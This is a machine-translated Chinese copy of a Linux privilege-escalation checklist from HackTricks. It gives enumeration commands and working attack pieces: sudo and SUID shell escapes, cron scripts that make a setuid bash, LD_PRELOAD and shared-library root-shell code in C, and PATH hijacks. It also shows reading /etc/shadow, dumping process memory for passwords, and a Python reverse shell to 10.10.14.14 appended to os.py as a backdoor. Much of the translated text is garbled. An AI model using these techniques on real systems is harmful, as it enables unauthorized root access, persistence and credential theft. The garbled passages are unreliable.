Linux提权技巧汇总

Linux提权技巧汇总

目录导航

Amy Acker:  you can call me root
雨苁:   you can call me control

内核漏洞

检查内核版本,以及是否存在一些可用于提升特权的漏洞

cat /proc/version
uname -a
searchsploit "Linux Kernel"

您可以在此处找到一个良好的易受攻击的内核列表以及一些已经编译的漏洞利用程序
https : //github.com/lucyoa/kernel-exploits
其他可以找到一些经过编译的漏洞利用程序的站点:
https : //github.com/bwbwbwbw/linux-利用二进制代码https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

要从该网站提取所有易受攻击的内核版本,您可以执行以下操作:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

可以帮助搜索内核漏洞的工具有:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py
(执行。在受害者中,只有内核2.X检查漏洞)

始终在Google中搜索内核版本,也许您的内核版本是在某些内核漏洞利用中编写的,然后您将确保该漏洞利用有效。

Sudo版本

基于出现在以下漏洞中的sudo版本:

searchsploit sudo

您可以使用此grep检查sudo版本是否容易受到攻击。

sudo -V | grep "Sudo ver" | grep "1.6.8p9\|1.6.9p18\|1.8.14\|1.8.20\|1.6.9p21\|1.7.2p4\|1\.8\.[0123]$\|1\.3\.[^1]\|1\.4\.\d*\|1\.5\.\d*\|1\.6\.\d*\|1.5$\|1.6$"

软件漏洞

检查安装的软件包和服务版本。也许有一些旧的Nagios版本(例如)可以用来获取特权…

建议手动检查更可疑的已安装软件的版本。

dpkg -l #Debian
rpm -qa #Centos

如果您拥有对计算机的SSH访问权限,则还可以使用openVAS检查计算机内部安装的过时且易受攻击的软件。

Users

检查您是谁,拥有哪些特权,系统中有哪些用户,哪些用户可以登录以及哪些用户具有root特权

id || (whoami && groups) 2>/dev/null #Me?
cat /etc/passwd | cut -d: -f1 #All users
cat /etc/passwd | grep "sh$" #Users with console
awk -F: '($3 == "0") {print}' /etc/passwd #Superusers
w #Currently login users
last | tail #Login history

大的UID

某些Linux版本受到一个错误的影响,该错误使UID> INT_MAX的用户可以升级特权。更多信息:在这里在这里这里

利用方法

systemd-run -t /bin/bash

已知密码

如果您具有该环境的任何密码,请尝试以其他用户身份登录

用户组

检查您是否属于可以授予您root权限的组:

检查您是否属于上述任何组

可写的路径

$ PATH

如果发现可以在$ PATH的某个文件夹中写入内容,则可以通过在可写文件夹中创建后门,并使用将由其他用户(理想情况下为root)执行的某些命令的名称来创建后门从而升级权限。它不是从 $ PATH中可写文件夹之前的文件夹加载的

服务

可写的.service文件

检查是否可以写入任何文件,如果可以的话,你可以修改它,因此执行你的时候后门的服务启动重新启动停止(也许你会需要等到机器重新启动)。.service

可写服务二进制文件

请记住,如果您对服务正在执行的二进制文件具有写权限,则可以为后门更改它们,以便在重新执行服务时执行后门。

systemd PATH-相对路径

您可以通过以下方式查看systemd使用的PATH :

systemctl show-environment

如果发现可以写入该路径的任何文件夹,则可以升级特权。您需要搜索服务配置文件上正在使用的相对路径,例如:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

然后,在您可以编写的systemd PATH文件夹中,创建一个与相对路径二进制文件同名可执行文件,然后当要求该服务执行易受攻击的操作(StartStopReload)时,将执行后门操作(非特权用户)通常无法启动/停止服务,但请检查您是否可以使用)。sudo -l

进一步了解有关服务的信息 。man systemd.service

计时器

计时器是以名称结尾的系统单位文件。
定时器控制。服务文件或事件。计时器可以用作cron的替代品。计时器内置了对日历时间事件、单调时间事件的支持,并且可以异步运行。

您可以枚举所有计时器:

systemctl list-timers --all

Writable timers

如果您可以修改计时器,则可以使其执行一些现有的systemd.unit(如a 或a ) .service.target

Unit=backdoor.service

在文档中,您可以阅读单位是什么:

超过此计时器时要激活的单元。参数是单位名称,后缀不是“ .timer”。如果未指定,则此值默认为与计时器单元名称相同的服务(后缀除外)。(请参见上文。)建议将激活的单元名称和计时器单元的单元名称相同,但后缀除外。

因此,为了滥用此权限,您需要:

  • 找到一些正在执行可写二进制文件的系统单元(例如) .service
  • 找到一些正在执行相对路径的 systemd单元,并且您对systemd PATH具有可写特权(以模拟该可执行文件)

通过进一步了解计时器 man systemd.timer

启用计时器

为了启用计时器,您需要root特权并执行:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

请注意计时器激活通过创建一个symlink链接到它

/etc/systemd/system/<WantedBy_section>.wants/<name>.timer
Amy Acker:  you can call me root
雨苁:   you can call me control

Sockets

简而言之,Unix套接字(技术上正确的名称是Unix域套接字UDS)允许在客户机/服务器应用程序框架中的同一台机器或不同机器上的两个不同进程之间进行通信。更准确地说,它是使用标准Unix描述符文件在计算机之间进行通信的一种方式。(从这里开始)。

可以使用文件配置套接字。.socket

通过进一步了解套接字 在此文件中,可以配置一些有趣的参数:man systemd.socket

  • ListenStream,,,,,,,:这个选项是不同的,但作为作为用来总结指明将要监听套接字(AF_UNIX套接字文件的路径中,IPv4 / 6和/或端口号听…) 。ListenDatagramListenSequentialPacketListenFIFOListenSpecialListenNetlinkListenMessageQueueListenUSBFunction
  • Accept:采用布尔参数。如果为true则为每个传入的连接生成一个服务实例,并且仅将连接套接字传递给它。如果为false,则所有侦听套接字本身都将传递到已启动的服务单元,并且仅为所有连接生成一个服务单元。对于单个服务单元无条件处理所有传入流量的数据报套接字和FIFO,将忽略此值。默认为false。出于性能原因,建议仅以适合于的方式编写新的守护程序。Accept=no
  • ExecStartPre,:采用一个或多个命令行,这是之前执行之后侦听套接字 /被FIFO的创建和约束,分别。命令行的第一个标记必须是绝对文件名,然后是进程的参数。ExecStartPost
  • ExecStopPre,:其他命令执行之前之后侦听套接字 / FIFO被关闭分别除去。ExecStopPost
  • Service:指定传入流量上激活服务单元名称。此设置仅适用于具有Accept = no的套接字。它默认为与套接字具有相同名称的服务(替换后缀)。在大多数情况下,不必使用此选项。

可写的.socket文件

如果找到可写文件,则可以在本节的开头添加类似以下内容: 并且将在创建套接字之前执行后门操作。因此,您可能需要等到计算机重新启动。 请注意,系统必须使用该套接字文件配置,否则将不执行后门.socket[Socket]ExecStartPre=/home/kali/sys/backdoor

可写套接字

如果您发现任何可写套接字现在正在谈论Unix套接字,而不是配置文件),则可以与该套接字通信并可能利用漏洞。.socket

HTTP套接字

请注意,可能有一些套接字正在侦听HTTP请求(我不是在谈论.socket文件,而是在充当unix套接字的文件)。您可以使用以下方法进行检查:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

如果套接字以HTTP请求响应,那么您可以与之通信利用某些漏洞

D-Bus

D-BUS是一种进程间通信(IPC)系统,它提供了一种简单而强大的机制,允许应用程序相互交谈,交流信息并请求服务。D-BUS从头开始设计,以满足现代Linux系统的需求。

D-BUS作为功能齐全的IPC和对象系统,具有多种预期用途。首先,D-BUS可以执行基本的应用程序IPC,允许一个进程将数据穿梭到另一个进程中-考虑类固醇上的UNIX域套接字。其次,D-BUS可以促进通过系统发送事件或信号,从而允许系统中的不同组件进行通信并最终更好地集成。例如,蓝牙恶魔可以发送您的音乐播放器可以拦截的来电信号,使音量静音直到通话结束。最终,D-BUS实现了一个远程对象系统,使一个应用程序可以请求服务并从另一个对象调用方法-想想CORBA而不会有任何复杂性。(从这里开始)。

D-Bus使用允许/拒绝模型,其中可以根据与之匹配的所有策略规则的总和来允许或拒绝每条消息(方法调用,信号发射等)。每个或规则的政策应该有,或属性集。ownsend_destination receive_sender

的部分配置:/etc/dbus-1/system.d/wpa_supplicant.conf

<policy user="root">
    <allow own="fi.w1.wpa_supplicant1"/>
    <allow send_destination="fi.w1.wpa_supplicant1"/>
    <allow send_interface="fi.w1.wpa_supplicant1"/>
    <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

因此,如果策略无论如何都允许您的用户与总线进行交互,则可以利用它来提升特权(也许只是列出一些密码?)。

请注意,策略没有指定任何用户或组影响到每一个人()。 上下文“默认”的策略会影响不受其他策略()影响的所有人。<policy><policy context="default"

进程

查看正在执行哪些进程,并检查是否有任何进程具有应具有的更多特权(可能是由root用户执行的tomcat?)

ps aux
ps -ef
top -n 1

进程内存

服务器的某些服务将凭据以明文形式保存在内存中。例如,如果您有权访问FTP服务的内存,则可以获取堆并在其中搜索凭据

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

/proc/$pid/maps & /proc/$pid/mem

对于给定的进程ID,maps显示如何在该进程的虚拟地址空间内映射内存;它还显示每个映射区域权限。该MEM伪文件公开进程的内存本身。从地图文件中,我们知道哪些存储区域是可读的,以及它们的偏移量。我们使用此信息来查找mem文件并将所有可读区域转储到文件中。

要转储进程内存,可以使用:

任务计划列表

检查任何计划列表是否具有任何类型的漏洞。
也许您可以利用root有时执行的任何脚本(通配符vuln?可以修改root使用的文件吗?使用符号链接吗?在root使用的目录中创建特定文件?)。

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

示例:Cron路径

例如,在/ etc/crontab中,您可以找到以下语句:

PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

如果在此crontab中,则根用户尝试在不设置路径的情况下执行某些命令或脚本。例如:* * * * root overwrite.sh

然后,您可以使用以下命令获取root shell:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#等一分钟
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

示例:使用带通配符的脚本来执行Cron(通配符注入)

如果由root执行的脚本在命令中带有“ * ”,则可以利用此脚本进行意外的操作(例如privesc)。例:

rsync -a *.sh rsync://host.back/src/rbd #您可以创建一个名为“-e sh”的文件myscript.sh脚本“所以脚本将执行我们的脚本

通配符不能在路径之前:/ some / path / *不易受攻击(即使./*也不易受攻击

阅读更多通配符备用招数

如果您可以在由root执行的cron脚本中编写代码,则可以非常轻松地获取shell:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#等待执行
/tmp/bash -p

如果由root执行的脚本以某种方式使用了您具有完全访问权限的目录,则删除该文件夹并创建指向另一个目录的符号链接文件夹可能会很有用。

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

定时任务

您可以监视进程以搜索每1,2或5分钟执行的进程。也许您可以利用它并提升特权。

例如,要在1分钟内每隔0.1s进行监视按执行次数较少的命令排序并删除一直在执行的命令,可以执行以下操作:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

您也可以使用pspy(它将监视每个启动的进程)。

带有sudo和suid的命令

您可能被允许使用sudo执行某些命令,或者它们可能具有suid位。使用以下命令进行检查:

sudo -l #检查可以用sudo执行的命令
find / -perm -4000 2>/dev/null #找到所有SUID二进制文件

一些意外的命令使您可以读取和/或写入文件,甚至执行命令。例如:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>!

Sudo绕过路径执行

跳转以读取其他文件或使用符号链接。例如在sudeores文件中:

 hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #使用symlinks读取文件

如果使用通配符(*),则更为简单:

sudo less /var/log/../../etc/shadow #读物shadow文件
sudo less /var/log/something /etc/shadow #读 2个文件

详细策略

https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID二进制文件,不带命令路径

如果在没有指定路径的情况下sudo权限授予单个命令:hacker10 ALL =(root)less,则可以通过更改PATH变量来利用它

export PATH=/tmp:$PATH
#把你的后门放在/tmp 并命名为 "less"
sudo less

如果suid二进制文件执行另一个命令而不指定其路径(始终使用字符串检查奇怪的SUID二进制文件的内容),则也可以使用此技术。

有效载荷来执行的例子。

具有命令路径的SUID二进制文件

如果suid二进制文件执行另一个指定path的命令,那么您可以尝试导出名为suid文件正在调用的命令的函数

例如,如果suid二进制文件调用/usr/sbin/service apache2 start,则必须尝试创建该函数并将其导出:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

然后,当您调用suid二进制文件时,将执行此函数

LD_PRELOAD

LD_PRELOAD是一个可选的环境变量,其中包含一个或多个共享库或共享库的路径,加载程序将在包含C运行时库(libc.so)的任何其他共享库之前加载该路径。这称为预加载库。

为了避免将此机制用作suid / sgid可执行二进制文件的攻击媒介,如果ruid!= euid,加载程序将忽略LD_PRELOAD。对于此类二进制文件,仅标准路径中也是suid / sgid的库将被预加载。

如果在sudo -l的输出中找到以下语句:env_keep + = LD_PRELOAD并且可以使用sudo调用某些命令,则可以提升特权。

另存为/tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

然后使用以下命令进行编译

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

最后,提升运行的权限

sudo LD_PRELOAD=pe.so <COMMAND> #使用任何可以与sudo一起运行的命令

SUID Binary –注入

如果您发现一些具有SUID权限的奇怪二进制文件,则可以检查是否所有.so文件均已正确加载。为此,您可以执行:

strace 2>&1 | grep -i -E “open|access|no such file”

例如,如果找到类似:pen(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory),则可以利用它。

使用以下代码创建文件/home/user/.config/libcalc.c

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
	system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

使用以下命令进行编译并执行二进制文件。

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

/etc/ld.so.conf.d/

如果您可以在其中创建文件并且可以以root权限(sudo或suid)执行,则可以使可执行文件加载任意库/etc/ld.so.conf.d/ldconfig

例如,要从/ tmp在该系统加载库中生成可执行文件,可以在该文件夹中创建一个指向/ tmp配置文件test.conf):/etc/ld.so.conf.d/test.conf

/tmp

并且在执行系统内部的所有二进制文件时,将能够/ tmp 加载库。 所以,如果有一个二进制的是执行一个调用的函数从叫,你可以创建一个后门/ tmp目录,并模拟一个与函数库:ldconfigseclogin()libseclogin.so

#include <stdio.h>
//To compile: gcc -fPIC -shared -o libseclogin.so exploit.c
seclogin() {
    setgid(0); setuid(0);
    system("/bin/bash");
}

注意在下一个映像中(已经在/tmp上创建了后门),配置文件在/etc中/ld.so.conf型.d使用ldconfig后指向/tmp可执行文件myexecstops从/usr/lib加载库并从/tmp加载:

Capabilities

Capabilities是有点晦涩难懂,但在原理上类似的SUID。Linux的线程/进程特权检查基于以下功能:线程的标志,用于指示允许使用哪些其他特权。默认情况下,root拥有所有这些。

例子:

Capabilities描述
CAP_DAC_OVERRIDE覆盖读/写/执行权限检查(完全的文件系统访问)
CAP_DAC_READ_SEARCH仅覆盖读取文件和打开/列出目录(完整的文件系统READ访问权限)
CAP_KILL可以将任何信号发送到任何进程(例如sig kill)
CAP_SYS_CHROOT能够调用chroot()

当您要在执行特权操作后限制自己的进程时(例如,在设置chroot并绑定到套接字之后),功能非常有用。但是,可以通过向其传递恶意命令或参数,然后再以root用户身份运行,来利用它们。

您可以使用来对程序强制使用功能,并使用来查询这些功能:setcapgetcap

getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

该方法要添加的功能(“ – ”将其删除)为有效和允许的。+ep

要识别具有功能的系统或文件夹中的程序,请执行以下操作:

getcap -r / 2>/dev/null

“空”功能的特例

请注意,可以将空功能集分配给程序文件,因此可以创建一个set-user-ID-root程序,该程序将执行该程序的进程的有效和保存的set-user-ID更改为0,但没有赋予该过程任何功能。或者,简单地说,如果您有一个二进制文件,则:

  1. 不属于root
  2. 没有SUID/SGID
  3. 设置了空功能(例如:return )getcap myelfmyelf =ep

然后该二进制文件将以root身份运行。

功能信息是从提取这里

打开shell会话

也许您可以访问一些不受保护的root会话。

屏幕会话

列出屏幕会话

screen -ls 

附加到会话

screen -dr <session> # -d 是用来确定连接到它的人
screen -dr 3350.foo #在图像的例子中

tmux会话

列出tmux会话

tmux ls
ps aux | grep tmux #搜索不使用套接字默认文件夹的tmux控制台
tmux -S /tmp/dev_sess ls #列表使用该套接字,可以使用以下命令在该套接字中启动tmux会话:tmux -S /tmp/dev_sess

附加到会话

tmux attach -t myname #如果你在这个会话中写了什么,它会出现在另一个打开的会话中
tmux attach -d -t myname #首先从另一个控制台分离会话,然后自己访问它
tmux -S /tmp/dev_sess attach -t 0 #使用非默认tmux套接字连接

SSH协议

Debian OpenSSL可预测PRNG-CVE-2008-0166

在2006年9月至2008年5月13日期间,在基于Debian的系统(Ubuntu,Kubuntu等)上生成的所有SSL和SSH密钥都可能受到此bug的影响。 该错误导致在这些OS中创建新的ssh密钥时,只能进行32,768个变体。这意味着可以计算所有可能性,并拥有ssh公钥,您可以搜索相应的私钥。你可以在这里找到计算的可能性:https://github.com/g0tmi1k/debian-ssh

SSH有趣的配置值

  • PasswordAuthentication:指定是否允许密码认证。默认值为。no
  • PubkeyAuthentication:指定是否允许公共密钥身份验证。默认值为。yes
  • PermitEmptyPasswords:允许密码认证时,它指定服务器是否允许使用空密码字符串登录帐户。默认值为。no

许可RootLogin

指定root是否可以使用ssh登录,默认值为。可能的值:no

  • yes :root用户可以使用密码和私钥登录
  • without-password或:root只能使用私钥登录prohibit-password
  • forced-commands-only:如果指定了命令选项,则根只能使用私钥cand登录
  • no :没有

授权密钥文件

指定包含可用于用户身份验证的公共密钥的文件。我可以包含令牌,例如,它将被主目录替换。您可以指示用户起始位置的绝对路径(开始于)或相对路径。例如:%h/

AuthorizedKeysFile	.ssh/authorized_keys access

该配置将表明,如果你试图与登录私有密钥的用户的“ testusername ” SSH是要比较你的钥匙与位于那些公钥和/home/testusername/.ssh/authorized_keys/home/testusername/access

ForwardAgent / AllowAgentForwarding

SSH代理转发使您可以使用本地SSH密钥,而不必将密钥(没有密码短语!)放在服务器上。所以,你就可以跳到通过ssh 到主机,并从那里跳到另一个主机使用位于您的初始主机

您需要这样设置此选项:$HOME/.ssh.config

Host example.com
  ForwardAgent yes

请注意,如果是每个用户跳转到不同的机器,主机将能够访问密钥(这是一个安全问题)的时间。Host*

该文件可以覆盖选项,并允许或拒绝此配置。 该文件可以使用关键字允许拒绝 ssh-agent转发(默认为allow)。 /etc/ssh_config/etc/sshd_configAllowAgentForwarding

如果您在环境中配置了转发代理,请在此处检查如何利用它来升级特权

读取敏感数据

检查您是否可以读取某些敏感文件以及某些文件夹中包含的内容。例如:

cat /etc/shadow

检查/tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports内容

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 文件

fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files
find / -type f -iname ".*" -ls 2>/dev/null

网络文件

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

备份文件

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

包含密码的已知文件

阅读linPEAS的代码,它搜索几个可能包含密码的文件。

其他有趣的工具,你可以用它来做到这一点是:LaZagne

文件中的R egexp字符串(检查日志文件也可能有用)

grep -lRi "password" /home /var/www /var/log 2>/dev/null | sort | uniq #Find string password (no cs) in those directories
grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq #IPs inside logs

环境,可能有有趣的数据

set
env
cat /proc/self/environ

可写文件

您应该检查是否可以写入一些敏感文件。例如,您可以写入某些服务配置文件吗?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq ##查找用户拥有或任何人可写的文件`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done ##查找任何用户组可写的文件

例如,如果机器正在运行tomcat服务器,并且您可以修改/ etc / systemd /中的Tomcat服务配置文件,则可以修改以下行:

ExecStart=/path/to/backdoor
User=root
Group=root

您的后门将在下次启动tomcat时执行。

Python库劫持

如果您知道要从哪里执行python脚本,并且可以在该文件夹中编写代码,也可以修改python库,则可以修改os库并对其进行后门操作(如果可以在要执行python脚本的地方编写代码,复制并粘贴os.py库)。

后门该库,只需在os.py库的末尾添加以下行(更改IP和PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

日志文件利用

存在一个漏洞,如果您在日志文件其父文件夹中的任何一个上具有写权限,则可以使用privesc(在大多数Linux发行版中,logrotate每天自动执行一次,logrotatethat allows a user with write permissions over a log file or any of its parent directories to make logrotatewrite a file in any location. If logrotate is being executed by root, then the user will be able to write any file in /etc/bash_completion.d/ that will be executed by any user that login. user root). Also, check if apart of /var/log there are more files being rotated.

有关此漏洞的更多详细信息,请参见此页面https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition

您可以使用logrotten利用此漏洞。

内部开放端口

您应该检查某个端口/接口中是否正在运行任何未发现的服务。它可能正在以应有的更多特权运行,或者容易受到某种特权升级漏洞的攻击。

netstat -punta
ss -t; ss -u

嗅探

检查是否可以嗅探流量。如果可以,您可以获取一些凭据。

timeout 1 tcpdump

储存信息

您可以使用以下方法检查存储信息

df -h

可能会有一些磁盘未安装

ls /dev | grep -i "sd"
cat /etc/fstab
lpstat -a# Check if there is any printer

检查奇怪的可执行文件

只是检查二进制文件的名称内/bin中,在/usr/bin中,/sbin目录,/ usr/sbin目录…(内部目录$ PATH

其他技巧

开发服务

NFS和no_root_squash错误配置PE

在没有软件包管理器的情况下搜索添加的软件

for i in /sbin/* /; do dpkg --search $i >/dev/null; done #在路径的每个文件夹中使用ir

更多Linux枚举

有用的软件

which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 perl php ruby xterm doas sudo fetch 2>/dev/null #检查一些有趣的软件

网络信息

cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null #已知主机和DNS
dnsdomainname 2>/dev/null
cat /etc/networks 2>/dev/null
ifconfig 2>/dev/null || ip a 2>/dev/null #有关接口的信息
iptables -L 2>/dev/null #一些iptables规则?访问??
arp -e 2>/dev/null #已知邻居
route 2>/dev/null #网络路由
netstat -punta 2>/dev/null #端口
lsof -i #网络服务使用的文件

用户数

gpg --list-keys #我有PGP钥匙吗?

文件

ls -la $HOME #Files in $HOME
find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER #Files in home by not in my $HOME
find  /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; #Check for .ssh directories and their content

更多帮助

静态impacket二进制

Linux / Unix Privesc工具

最好的工具来寻找Linux的本地权限提升的载体:LinPEAS

LinEnumhttps : //github.com/rebootuser/LinEnum(-t选项) Unix Privesc检查:http ://pentestmonkey.net/tools/audit/unix-privesc-check Linux Priv检查器:www.securitysift.com/download /linuxprivchecker.py BeeRoot:https : //github.com/AlessandroZ/BeRoot/tree/master/Linux Kernelpop:枚举Linux和MAC中的内核漏洞https://github.com/spencerdodd/kernelpop Mestaploit:multi / recon / local_exploit_suggester Linux Exploit建议程序:https : //github.com/mzet-/linux-exploit-suggester EvilAbigail(物理访问):https : //github.com/GDSSecurity/EvilAbigail 重新编译更多脚本 https://gh-dark.rauchg.now.sh/1N3/PrivEsc/tree/master/linux

参考文献

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://payatu.com/guide-linux-privilege-escalation/ https://pen-testing.sans.org / resources / papers / gcih / attack-defend-linux-privilege-escalation-techniques-2016-152744 http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html https:// /touhidshaikh.com/blog/?p=827 https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf https://github.com/frizb/Linux -Privilege递增https://github.com/lucyoa/kernel-exploits https://github.com/rtcrowley/linux-private-i

本文由Google智障翻译自动生成,如有拗口晦涩难懂处,请访问原文自行翻译
https://book.hacktricks.xyz/linux-unix/privilege-escalation